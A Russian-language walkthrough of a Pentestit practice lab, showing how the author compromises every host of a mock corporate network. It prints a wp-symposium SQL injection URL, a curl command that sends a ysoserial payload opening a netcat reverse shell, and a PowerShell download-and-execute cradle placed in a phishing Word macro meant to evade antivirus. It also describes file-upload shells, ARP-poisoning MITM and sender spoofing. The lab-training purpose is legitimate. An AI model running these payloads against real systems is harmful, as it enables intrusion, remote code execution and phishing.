Пентест-лаборатория Pentestit — полное прохождение

Компания Pentestit 20-го мая запустила новую, уже девятую лабораторию для проверки навыков практического тестирования на проникновение.

Лаборатория представляет собой корпоративную сеть, очень похожую на сеть настоящей организации. Благодаря лабораториям Pentestit можно всегда быть в курсе последних уязвимостей и попробовать себя в качестве настоящего пентестера, параллельно обучаясь у профессионалов — тех, кто каждый день занимается тестированием на проникновение в реальных сетях.

К 1-му июня лаборатория была пройдена — все 13 машин и 14 токенов были взяты. Теперь подошло время описать процесс прохождения лаборатории в полном объеме для всех, кто еще не успел пройти лабораторию, кто хотел бы узнать больше об актуальных уязвимостях, или глубже окунуться в мир тестирования на проникновение.

Сразу хочу отметить, что процесс прохождения лаборатории получился довольно трудоемким, а его описание — длинным, но, надеюсь, интересным. Начнем!

Подключение к лаборатории

Прежде чем начать, нужно зарегистрироваться в лаборатории, настроить VPN-соединение и подключиться к сети виртуальной компании CyBear32C.

Зарегистрируйтесь здесь, и затем следуйте этим инструкциям для того, чтобы подключиться.

Для проведения тестирования можно установить в виртуальной машине Kali Linux — специальный дистрибутив Линукса для пентестеров, в котором есть все необходимое для работы. Если вы этого еще не сделали, теперь — самое время.

Начинаем тестирование

После регистрации и подключения мы видим следующую схему сети:

VPN-подключение остается за кадром, и после него мы получаем доступ к единственному внешнему IP компании CyBear32C — 192.168.101.8, который в реальной жизни был бы шлюзом в интернет. Начнем, как обычно, с enumeration и, в частности, со сканирования портов, чтобы определить какие сервисы из внутренних подсетей доступны снаружи.

Начнем с быстрого сканирования портов.

Как видим, нам доступен целый набор сервисов с разных внутренних машин (см. схему сети), включая, вероятнее всего, сервер mainsite (порт 80), сервер mail (25, 8100), ssh (порт 22) и другие. Кроме того, есть еще https ресурс и прокси сервер.

Изучаем MAINSITE

Начнем с того, чтобы зайти по адресу 192.168.101.8:

Нас автоматически редиректит на www.cybear32c.lab, посмотрим на это внимательнее:

Нам приходит заголовок Location: http://cybear32c.lab — виртуальный хост, по которому собственно и будет доступен сайт компании.

Добавляем нужный домен в /etc/hosts и пробуем еще раз:

Отлично, сайт поднялся, и можно его начать изучать. Попробуем понять, что это такое. Перед тем, как начать изучать сайт вручную, можно запустить утилиту whatweb, а затем dirb, которая поможет определить, какие есть поддиректории (можно воспользоваться и другими сканерами, например nikto):

Видим, что коды ответов на все запросы равны 403 — наверняка сайт защищен WAF-ом. Так как в браузере все работает, пробуем подставить User Agent и находим несколько интересных страниц:

Параллельно смотрим на сайт, видим, что это — WordPress, защищенный WAF-ом. Заход на страницу /admin переводит нас на закрытый wp-login.php.

Для WordPress сайтов есть великолепная утилита wpscan, которая позволяет проверить их на наличие плагинов с уязвимостями. Пробуем для начала посмотреть общую информацию по сайту, подставив нужный user agent. Он тут же находит несколько проблем, в том числе и уязвимый к SQL injection плагин wp-symposium v15.1.

Теперь пробуем проэксплуатировать каждую из приведенных уязвимостей с помощью эксплоитов по ссылкам. К сожалению, срабатывает WAF, и запросы с пэйлоадами на SQL не проходят. Попробуем его обойти…

Обход WAF

Часто многие Web Application Firewalls используют сигнатуры атак, которые можно обойти, немного изменив синтаксис: добавив конкатенацию или изменив регистр в запросе: vErSiOn вместо version, например. Обход WAF — отдельная серьезная тема, которой можно посвятить множество книг и статей.

К сожалению, эти варианты не сработали. Вспомним о прокси на порту 3128 и попробуем настроить браузер на работу через него.

Прокси запрашивает авторизацию:

Здесь нам пригодятся данные из графы Contact Us, которые мы видим на этом же сайте.

Создаем текстовый файл со словариком и двумя учетными записями: b.muncy и r.diaz и пробуем подобрать пароль:

Удачно! Теперь попробуем еще раз зайти на сайт через прокси и авторизоваться в нем. Результат в данном случае уже выглядит по-другому (сайт также доступен по внутреннему IP: 172.16.0.5, но другие внутренние сервисы все еще недоступны):

Сайт больше не говорит о неправомерных действиях — мы успешно обошли WAF.

Эксплуатация уязвимостей в WordPress плагине

Теперь можно изучить сайт и потенциальные уязвимости внимательнее. Можно это делать и напрямую, но мне удобнее для этого использовать Burp Repeater. Для начала нужно настроить подключение через upstream proxy:

На вкладке User options добавляем Upstream Proxy Server, вводим полученные данные для нашего хоста, настраиваем браузер на Burp proxy и пробуем различные эксплоиты, найденные wpscan-ом.

Эта же возможность позволит использовать утилиты, которые не поддерживают авторизацию в прокси напрямую. Если такие понадобятся, достаточно будет указать в виде proxy 127.0.0.1:8080.

Попробовав несколько вариантов, видим, что срабатывает одна из SQL инъекций:

GET http://cybear32c.lab/wp-content/plugins/wp-symposium/get_album_item.php?size=version(); -- HTTP/1.1

Получаем номер версии MySQL:

Результат: 5.5.49-0+deb8u1.

Дело за малым — осталось эксплуатировать эту уязвимость с помощью sqlmap:

Так как в данном случае инъекция происходит в имя колонки (а не в значение, как обычно), важно указать суффикс после payload (' -- ') для того, чтобы sqlmap сконцентрировался именно на этом типе инъекции. Если этого не сделать, sqlmap может ошибочно определить тип инъекции как blind, и в таком случае вытягивать данные будет очень затруднительно и долго.

Получаем доступные базы с использованием опции --dbs:

Затем таблицы (-D tl9_mainsite --tables):

И осталось только получить данные из таблицы wp_token с помощью команды:

Токен BYPASS

Во время сканирования портов обнаружился, в том числе, и https ресурс на порту 443. Беглый анализ и утилита dirb ничего интересного не дали:

Ресурс доступен по https, при этом, видимо, в разработке и давно не обновлялся. Проверим нашумевшую в 2014-м уязвимость heartbleed:

Сервис уязвим! Для эксплуатации воспользуемся скриптом отсюда. После прочтения множества интересной информации и сотни попыток (главное не сдаваться раньше времени), находим кое-что интересное:

Кто-то зашел туда и скачал старый бэкап. Давайте и мы это сделаем:

Вот и токен, а вместе с ним несколько новых аккаунтов и хеши их паролей. Пробуем восстановить пароли из хешей (Apache apr1 хеш в hashcat идет под номером 1600):

Получаем уже известный из mainsite пароль b.muncy, а также остальные пароли других аккаунтов.

Очень полезно записывать все найденные учетные данные и пароли для того, чтобы в будущем иметь возможность проверять их, быстро изучая новую цель, т.к. пароли пользователей в корпоративной сети с высокой вероятностью будут повторяться от одного сервиса к другому.

Атакуем SSH

Несмотря на предыдущее замечание, к сожалению, ни один из найденных паролей пока что не подошел к почте (которая обычно дает очень неплохие результаты в продвижении вглубь корпоративной сети). Не беда, попробуем подключиться к SSH на порту 22 и попробовать там. Пробуем и видим следующую картину:

Довольно необычная ситуация для подключения по SSH: видимо, используется собственный модуль для аутентификации. Кроме того, обращаем внимание на то, что система запрашивает сначала “The password”, а потом еще и “Password”.

Пробуем все найденные учетные данные в разных комбинациях — безрезультатно.

Так как ни почта, ни SSH не принесли желаемых результатов, а других доступных сервисов больше не остается, видимо, мы что-то упустили. SSH важен еще и тем, что мы получим доступ внутрь корпоративной сети и сможем продвинуться дальше, поэтому нам интересно сконцентрироваться на нем.

Пробуем еще раз и видим автора скрипта: Pam © krakenwaffe — не похоже на что-то стандартное.
Ищем это в Google и вскоре находим аккаунт разработчика krakenwaffe на Github, который к тому же работает в компании cybear32c — интересно!

Изучив contributions некого Девида, видим единственный файл: mypam.c, расположенный здесь: github.com/krakenwaffe/eyelog/blob/master/mypam.c. После беглого анализа кода становится понятно, что это именно тот модуль, в котором мы пытаемся авторизоваться, и который запрашивает у нас “The password”.

Под рутом зайти не получится, смотрим, что дальше… Внимание привлекает следующий участок:

Видим, что введенный пароль проходит сравнение с daypass<день><час>. Пробуем подставить текущее значение, а именно “daypass80” на момент написания этой части документа:

Все равно не срабатывает. Тогда вспоминаем, как зовут нашего разработчика, который поделился с нами паролем через Github — David Nash. Пробуем зайти под d.nash:

Получилось! Мы зашли на SSH сервер. Посмотрим, что есть вокруг:

Помимо токена в папке .ssh также находим и приватный ключ для подключения к другим серверам (к каким — можно узнать, поработав с файлом known_hosts) — наверняка пригодится в дальнейшем!

Теперь мы получаем плацдарм для следующих атак, и перед нами открывается вся корпоративная сеть компании CyBear32C.

Следующие шаги

После взятия SSH можно выходить на все остальные компьютеры в сети. С какого начать? В первую очередь стоит просканировать все три подсети с помощью nmap, любезно предоставленного нам прямо на сервере SSH, и изучить доступные сервисы.

На данном этапе практически все внутренние ресурсы, за исключением Windows-машин и сервера dev, будут доступны для атаки — можно пробрасывать порты и пробовать.

Проброс портов

Для обеспечения удобного доступа к внутренней сети через вновь появившееся SSH подключение есть целое множество способов.

В первую очередь рекомендую изучить статью «Pivoting или проброс портов».

Кроме того полезно знать интересную возможность стандартного SSH клиента: проброс портов без перезапуска сессии и добавления параметров в командную строку.

Для этого достаточно нажать комбинацию клавиш Shift+~+C и перейти в командный режим работы:

После ввода нужной команды, мы получим доступ к 80-му порту сервера 192.168.0.6 (photo) через порт 8086 на 127.0.0.1:

Photo-hosting и загрузка файлов

Сервер фото встречает нас формой для загрузки файлов и ничего больше, наверняка в ней и есть уязвимость.

С точки зрения разработчика сделать upload файлов безопасным очень сложно — векторов атаки на него может быть очень много: это или неработающая валидация по расширению файла, его MIME-типу, или уязвимость в библиотеке, которая обрабатывает файл, или race condition, или любая из множества других проблем.

Для начала посмотрим, на чем написан сайт:

И заодно запустим dirb, чтобы посмотреть какие скрытые директории есть на веб-сервере.

Директория upload доступна прямо на сервере, попробуем загрузить безобидную картинку и убедимся, что файлы сохраняются именно в эту папку:

Так и есть, google.png доступен. Обращаем внимание, что сайт показывает размеры картинки, видимо есть какой-то анализ. Пробуем загрузить PHP файл:

Изменить MIME-тип и расширение не помогает:

Интересно, это дает нам сразу две подсказки: во-первых, файл, возможно, сначала загружается, а затем удаляется, и его можно успеть дернуть, и, во-вторых, мы еще раз убеждаемся, что проверка на то, что это картинка присутствует (видимо, с помощью getimagesize(), которую можно обмануть, добавив, например, GIF заголовок). Пробуем еще раз с таким файлом file.jpg:

Файл загрузился успешно и даже доступен:

Но, к сожалению, не выполняется. Пробуем загрузить этот файл с разными расширениями, раз php не срабатывает: .htaccess, .php5, .phtml и .pht — последний вариант работает! Он тоже выполняется:

Теперь нужно получить шелл. Для этого слушаем с помощью nc на сервере SSH, и обращаемся к файлу:

И удачно получаем коннект:

Прямо в папке upload можно найти токен в скрытой поддиректории:

Кстати, ради интереса можно изучить и исходники:

Видим, что файл сначала сохраняется в папку, а затем только проверяется, то есть кроме эксплуатированной нами уязвимости есть еще и race condition.

Кроме токена и этого кода на сервере ничего интересного не обнаруживаем и продолжаем дальше!

Изучаем FTP

Просканировав с помощью nmap сервер 172.16.0.4, находим открытый 21-й порт (ftp) и 22-й порт (ssh). Естественно, вход с нашим ssh ключиком не срабатывает, поэтому сконцентрируемся на самом FTP.

ProFTPD 1.3.5 имеет известную уязвимость, связанную с копированием файлов без аутентификации, которую можно проэксплуатировать через веб-сервер — копируем в /var/www, например, /etc/passwd, и мы уже немного ближе к цели.

Проблема в том, что веб сервер на этой машине не запущен… Попробуем подключиться к ftp серверу:

Анонимный вход доступен, и в папке dist находим исходники сервера. Интересно, наверняка их выложили не просто так, попробуем их поизучать. Скачиваем и распаковываем архив proftpd-dfsg-1.3.5.tar.bz2 с помощью ftp-клиента (команды lcd и get) и пробуем поискать изменения в коде. Начнем с поиска подстроки CYBEAR, и тут же находим файл src/help.c:

Похожий backdoor был встроен в версию 1.3.3с во время атаки на ProFTPD.

Попробуем воспользоваться предоставленным бекдором!

Ну и в папке /home находим целый набор интересных файлов:

Кроме токена в папке “old” мы находим:

• новую учетную запись m.barry,
• тестовый скрипт в папке m.barry/upload/test_scripts,
• конфигурационный файл роутера cisco c паролями,
  
• файл trouble.cap с паролем m.barry и указанием на то, что сервер dev скачивает все питоновские скрипты из папки test_scripts c FTP и, возможно, запускает их.
  

К сожалению, просто так подложить файл в test_scripts нельзя — недостаточно прав, поэтому придется продвигаться дальше и искать другой способ атаки на dev сервер.

Cамый быстрый токен — CISCO

Попробуем воспользоваться найденной информацией и начнем с cisco — пароль у нас уже есть. Вспоминаем IP по схеме сети и пробуем зайти:

Сразу же получаем токен! Теперь попробуем сбрутить хеш для enable 3:

Находим пароль, пробуем его и получаем привилегированный режим:

Все готово. Конфигурационный файл роутера разрешает делать мониторинг трафика:

С помощью этих команд можно поизучать трафик, идущий через эту подсеть (а именно — portal).

Как оказалось, есть возможности пройти лабораторию разными способами, и лично мне мониторинг трафика не понадобился. Поэтому я предлагаю оставить эту часть на самостоятельную проработку и продвинуться дальше.

NAS и незащищенные бэкапы

Продолжая изучать разные подсети, натыкаемся на сервер NAS:

Открытый порт 3260 намекает на возможность подключения к iscsi. Если вы следили за новостями в области ИБ, то наверняка слышали о взломе итальянской компании Hacking Team, которая в данном случае стала прообразом CyBear32c. В сети можно найти writeup о том, как происходила атака, из которого можно почерпнуть много интересного.

Начнем с проброса порта на локальную машину:

Устанавливаем iscsiadm и пробуем подключиться:

Пробуем подключиться, не получается.

Включаем debug mode и видим, что iscsiadm пытается подключиться к 192.168.0.3, которого в данном случае нет в нашей подсети.

Попробуем альтернативный вариант проброса портов и воспользуемся sshuttle. Так мы получим доступ к серверам по их настоящим IP адресам без необходимости пробрасывать каждый порт по отдельности. Подключаемся:

Удалось подключиться! Теперь изучим содержимое появившегося диска:

Теперь нужно подключить и этот vmdk:

Он начинается на диске по смещению 63 * 512 байт, а именно 32,256:

После этого Kali автоматически определяет присутствующий диск и предлагает посмотреть содержимое:

Есть! В поисках интересного находим пользователя token_nas_token, но в файловой системе напрямую ничего нет. Копируем базы реестра из WINDOWSsystem32config к себе и пробуем посмотреть сохраненные хеши паролей:

Чтобы долго не перебирать хеши локально, воспользуемся сервисом rainbowtables.it64.com. Можно сделать это и у себя, но с помощью сервиса будет быстрее.

Вносим существующие LM-хеши (первый хеш из дампа в каждой строке) и смотрим на результат. LM-хеширование приводит пароли к верхнему регистру, поэтому после получения результата нам нужно будет восстановить правильный регистр с помощью NTLM-хеша.

Все хеши и соответствующие им пароли найдены в базе. Сохраним их (в верхнем регистре) в отдельный файлик и воспользуемся john-ом c опцией -rules=NT, чтобы найти правильные пароли:

И получаем пароли c помощью опции -show:

Пароль от token_nas_token содержит токен к заданию! И мы получили новые учетные данные для d.rector. Продолжим!

Terminal2

Как уже обсуждалось выше, пароли, найденные в одном месте, могут подойти в другом. В данном случае, просканировав порты сервера terminal2, мы видим открытый RDP:

Попробуем подключиться, используя учетные данные d.rector из NAS:

Токен находится прямо на рабочем столе!

DEV и MITM

С получением доступа в локальную подсеть 192.168.3/24 у нас открываются новые возможности для атаки. Вспомним схему сети и заодно файл trouble.cap, найденный на FTP сервере:

Очевидно, dev сервер обращается к FTP, скачивает оттуда все *.py файлы из папки test_scripts, как видно в trouble.cap, и, вероятнее всего, выполняет их. Доступ в эту папку на FTP сервере можно получить только от root.

Теперь, когда в нашем распоряжении сервер terminal, на котором удобно расположен Intercepter-NG, мы можем легко организовать MITM атаку. Попробуем!

Включаем Intercepter-NG из папки C:Intercepter-NG. Первым делом нужно просканировать локальную сеть. Нажимаем правой кнопкой на пустом месте в таблице, ставим на всякий случай побольше ARP Scan Timeout и запускаем Smart Scan.

Intercepter при этом рассылает ARP запросы в своей подсети, чтобы определить существующие в ней хосты, а затем пробует определить, какая на каждом из них установлена ОС.

Отлично, определились два хоста:

Stealth IP — это несуществующий IP адрес, который используется Intercepter-ом для осуществления MITM-атаки.

Так как клиент и сервер находятся в разных подсетях, они будут общаться друг с другом через шлюз; добавляем 3.3 в NAT, а 3.254 как шлюз.

Параллельно нужно создать папочку на ftp сервере, в которую будет заходить dev, вместо папки upload. В названии должно быть столько же символов, сколько и в “upload”, так как Intercepter-NG может делать замену в трафике только для строк одинаковой длины.

В скрипт test.py, конечно, разместим полезную нагрузку — реверс шелл на 172.16.0.2 на порт 6666:

Настраиваем Intercepter:

Traffic changer будет заменять upload на .uploa и, соответственно, когда m.barry сделает CWD upload, он попадет в нашу директорию .uploa и оттуда уже скачает наш скрипт, который и создаст нам reverse shell.

Включаем слушающую часть на SSH:

И включаем Incercepter нажатием трех кнопок: сначала общий sniff-инг справа вверху, затем NAT и затем ARP poison.

Через минуту получаем шелл:

А заодно и токен сервера dev:

“Tragick” SITE-TEST

Теперь обратим свое внимание на сервер site-test. Как обычно в web задачах лаборатории, попробуем запустить whatweb и dirb, чтобы узнать, что есть на сервере.

Сайт написан на PHP фреймворке laravel, который активно поддерживается. Кроме того, включены детальные логи ошибок:

Отсюда часто можно выудить информацию о внутренних путях на сервере, которая потом может пригодиться, например, при SQL инъекции. Но в данном случае это нам не сильно помогает…

dirb быстро начинает находить следующие доступные URLs:

Безуспешно попробовав все учетные данные, которые уже были собраны за время прохождения лаборатории в админке, переключаемся на форму аплоада фотографии, тоже представленную на сайте, если по нему просто походить и нажать JOIN US:

Снова загрузка картинок, но теперь не удается найти, где эти картинки складываются (хотя папка /upload тоже через какое-то время обнаруживается утилитой dirb — но файлы в ней не доступны по исходным именам).

Попробуем уязвимость в ImageMagick, которая получила название ImageTragick.

Конструируем файл для загрузки:

И включаем nc на порт 1234 на сервере SSH. Заполняем форму и загружаем файл oops.jpg c текстовым содержимым, показанным сверху.

Вот и коннект! В корневой папке (cd /) видим token.txt:

Открываем PORTAL

Попробуем изучить сервер portal. Начнем со сканирования портов.

Обнаружился порт 8080, зайдя на который мы, собственно, и увидим портал:

Пробуем разные пароли из тех, что были найдены ранее. Подходит, например, логин t.smith с его паролем. Пароли можно было переиспользовать уже два раза — на terminal2 и здесь.
Получаем страницу отпусков и новые учетные данные:

Пробуем зайти или подобрать пароль к логину a.petrov — безуспешно. Затем обращаем внимание на куки:

Выглядит как base64, декодируем:

Это Java объект, в котором хранится имя пользователя и хеш его пароля в виде md5. Пробуем «подсунуть» имя a.petrov — не срабатывает.

Раз объект приезжает на клиент и затем восстанавливается на сервере, попробуем копнуть в этом направлении.

Во время восстановления объекта из строки base64 в бинарный формат и затем в память (десериализации) есть недавно продемонстрированная возможность выполнения произвольного кода. Такая уязвимость была, например, в Jenkins. Для эксплуатации пробуем использовать утилиту ysoserial.

После прочтения инструкции становится понятно, что есть возможность выполнить произвольную команду на сервере, используя утилиту. Она генерирует Java-объект, который потом во время десериализации выполнит
нужную нам команду (а именно reverse shell, в нашем случае).

Пишем небольшую команду для удобной отправки содержимого, генерируемого ysoserial в виде base64-куки на bash:

curl -b 'userInfo="'$(java -jar ysoserial-0.0.4-all.jar CommonsCollections1 'nc -e /bin/sh 172.16.0.2 1235' | base64 | tr -d 'n')'"' ‘http://192.168.1.2:8080/index.jsp'

Возникает ошибка при выполнении:

Находим эту же проблему прямо на гитхабе разработчика.

Она уже исправлена в репозитории, но еще не собрана в release. Клонируем новую версию с github, устанавливаем maven и собираем ее локально:

apt-get install maven
git clone https://github.com/frohoff/ysoserial.git
mvn compile package

Получаем нужный нам файл!

Обновляем команду на новый payload Commons-Collections5:

curl -b 'userInfo="'$(java -jar ysoserial-0.0.5-SNAPSHOT-all.jar CommonsCollections5 'nc -e /bin/sh 172.16.0.2 1235' | base64 | tr -d 'n')'"' 'http://192.168.1.2:8080/index.jsp'

На сервере ssh как обычно запускаем netcat, который слушает на порту 1235, запускаем на выполнение и:

Долгожданный шелл. Находим token.txt в корневой папке:

И еще один токен поддался!

Поизучав немного портал, находим кое-что интересное в crontab:

Скрипт проверки почты! Посмотрим, что в нем.

Имя и пароль b.muncy в почту! Вот мы и подобрались вплотную к заданию mail.

Roundcube Mail

В лаборатории используется сервер Roundcube, в котором было много уязвимостей, но в данной версии все известные уже исправлены.

Попробуем с другой стороны. Заходим в почту с паролем от b.muncy:

Почтовый ящик пустой. Но, так как на портале был робот, автоматически проверяющий почту, попробуем отослать сообщения другим аккаунтам, которые мы уже узнали.

Один из них — r.diaz — отвечает на письма! Пробуем отправить ему что-то еще.

И получаем ответ:

После общения с ботом становится понятно, что нужно применять social engineering. Пробуем отсылать боту разные файлы: PDF, Word-документы и так далее. И вот, на одну из таких отправок бот реагирует!

Если отправить в аттачменте Word-документ, он выдает токен и сообщение о том, что такого рода файлы можно открывать, только если они приходят от r.lampman-a. Попробуем это сделать!

Terminal

На сервере terminal закрыт порт 3389 для rdp, а в оставшихся нет ничего интересного. Где, как ни там, спрятался r.diaz и открывает Word-документы!

Я сделал предположение, что на сервере terminal установлен Microsoft Security Essentials, как это было и на сервере terminal2, и локально установил Windows с таким же антивирусом, чтобы потестировать на месте прежде, чем отправлять документ.

Атака, в данном случае, получается многоступенчатая. Чтобы получить сессию на terminal, нам нужно:

• научиться отправлять письма r.diaz-у от r.lampman (его пароля к почте у нас нет),
• сформировать документ с reverse shell payload,
• обойти антивирус Microsoft Security Essentials,
• включить listener на своем компьютере на порту 443 (только 80 и 443 открыты изнутри сети).

Отправка писем

Попробуем написать скрипт, который будет автоматически отправлять письма r.diaz-у от имени r.lampman с использованием пароля b.muncy.

Для этого будем подставлять нужный адрес в поле FROM:

Здесь важно несколько вещей:

• заменить значение поле FROM на нужное,
• подставить правильный MIME-тип, чтобы было понятно, что отправляется именно Word-документ
• не забыть закодировать документ в base64, чтобы он не испортился при передаче,
• пробросить порт 587 с 172.16.0.1 на локальную машину:
  

Формируем payload

Теперь нужно создать Word-документ, который не определяется антивирусами как зараженный. После множества неудачных попыток (удобно тестировать в своей среде перед настоящей атакой), получилось выработать рабочий вариант.

Не будем весь payload сохранять сразу в документ, а сделаем так, чтобы он скачивал его с нашего сервера. Для этого сделаем следующее:

1. Используем setoolkit для создания payload:

Выбираем опцию 1 (Social-Engineering Attacks), затем 9 (Powershell Attack Vectors) и затем 1 (Powershell Alphanumeric Shellcode Injector):

Запускаем на локальной машине веб сервер и копируем полученный payload из /root/.set/reports/powershell в /var/www/html/payload.txt:

Проверяем, что файл доступен:

2. Формируем документ
Я использовал этот вариант запуска, описанный в этой статье.

Как показано, нам нужно обфусцировать команду загрузки payload:
powershell.exe "IEX ((new-object net.webclient).downloadstring('http://<your_ip>/payload.txt'))"

Чтобы это сделать, можно использовать Java-апплет из статьи, доступный здесь. Запускаем:

Вводим:
powershell.exe "IEX ((new-object net.webclient).downloadstring('http://<your_pentestit_ip>/payload.txt'))"

Получаем результат и вставляем в документ. Я добавил еще Document_Open() на всякий случай.

При добавлении макроса важно сохранить его именно в документ, а не в шаблон Normal.

Сохраняем документ с расширением docm, кладем в папочку со скриптом senddoc.py, и теперь остался последний шаг.

3. Запускаем Metasploit

Перед запуском еще раз проходимся по небольшому «чеклисту»:

• payload доступен по адресу your_ip/payload.txt,
• порт 587 с 172.16.0.1 проброшен на локальный 127.0.0.1,
• документ находится в папке вместе со скриптом для отправки почты.

Запускаем!

И через минуту:

Идем в C:Usersr.diazDesktop и получаем токен!

SSH-TEST — последний барьер

Остается последний сервер, на который пока что мы не нашли никаких зацепок в сети. Просканировав все его порты, определяем, что ни один из них не отвечает.

При этом все, кроме трех, отвечают нам RST пакетами (закрыты), а 3 — просто отбрасывают все приходящие на них пакеты.

Это наводит на мысль о том, что в эти порты нужно «постучать» в надежде на то, что порт 22 (ssh) откроется при правильной комбинации на мгновение, за которое мы успеем к нему подключиться.

Кстати, на сервере ssh мы в самом начале прохождения нашли ключ в папке .ssh у пользователя d.nash:

Наверняка он нам здесь пригодится. Итак, для того, чтобы стучать в нужный порт, делаем следующее:

Запускаем sshuttle, чтобы ходить к серверу напрямую:

Удобно указать нужную подсеть, чтобы остался доступ в Интернет.
Копируем ключ d.nash id_rsa себе на диск:

Устанавливаем утилиту knock, которой будем стучать в нужные порты:

Пробуем 6 комбинаций этих трех портов, и одна из них срабатывает!

Вот и последний токен! Лаборатория пройдена.

Послесловие

Этот документ описывает всего лишь один из способов прохождения лаборатории. Уверен, что вариантов очень много. Если вы знаете какой-то интересный способ решения той или иной задачи, о котором я здесь не упомянул, буду рад узнать о нем в комментариях.

Надеюсь, что эта статья поможет тем, кто еще не занимался пентестом, окунуться в мир информационной безопасности и попробовать себя в настоящем практическом тестировании.

Лаборатория будет доступна до ноября, поэтому времени на обучение будет достаточно, а этот writeup поможет начать. Не сдавайтесь в процессе, и, как говорится: Try Harder.

Удачи!

Автор: DefconRU

Источник